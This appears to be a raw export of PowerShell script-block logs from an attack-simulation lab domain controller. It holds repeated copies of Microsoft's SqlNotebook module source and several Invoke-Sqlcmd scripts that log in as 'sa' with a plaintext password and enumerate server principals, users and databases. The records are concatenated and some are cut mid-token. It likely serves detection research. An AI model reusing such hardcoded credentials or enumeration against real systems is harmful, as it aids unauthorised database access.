56c001de-e081-46a4-a45e-13868194e1eeC:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0516050Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate1950bd84-3fa0-411f-8f46-7142fec20ccd
4104152150x0515825Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificatee715199d-645f-4402-9411-af8b593f50a3
4104152150x0515624Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
# Storing the print Tables into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_ $CellExecutionCount)
} elseif ($_ -is [System.Data.DataRow]) {
# Storing the print row into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebo0422c59d-0c06-440c-9521-954a64be2056C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0515617Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificate36997585-bf6b-437e-a38e-efd2d317214f
4104152150x0515411Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificatedff62672-595c-4175-8c54-dac682f299ff
4104152150x0515204Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate6a629aed-836d-4ec6-86d7-459996c5f94e
4104152150x0514985Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificatef8dc491c-1a34-4952-90d0-64047278a2fd
4104152150x0514784Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
# Storing the print Tables into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_ $CellExecutionCount)
} elseif ($_ -is [System.Data.DataRow]) {
# Storing the print row into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_.Table $CellExecutionCount)
}
}
if ($SqlQueryError) {
# Adding the parsed query error from Invoke-Sqlcmd
$NotebookCellOutputs += $(ParseQueryErrorToNotebookOutput($SqlQueryError))
}
if ($SqlQueryExecutionTime) {
# Adding the parsed execution time from Measure-Command
$NotebookCellExcutionTimeString = "Totb86ae804-92fc-4fe9-b8f8-de67ab003023C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0514777Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificate953384de-92d7-47a9-8d65-5cbf116c7668
4104152150x0514576Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
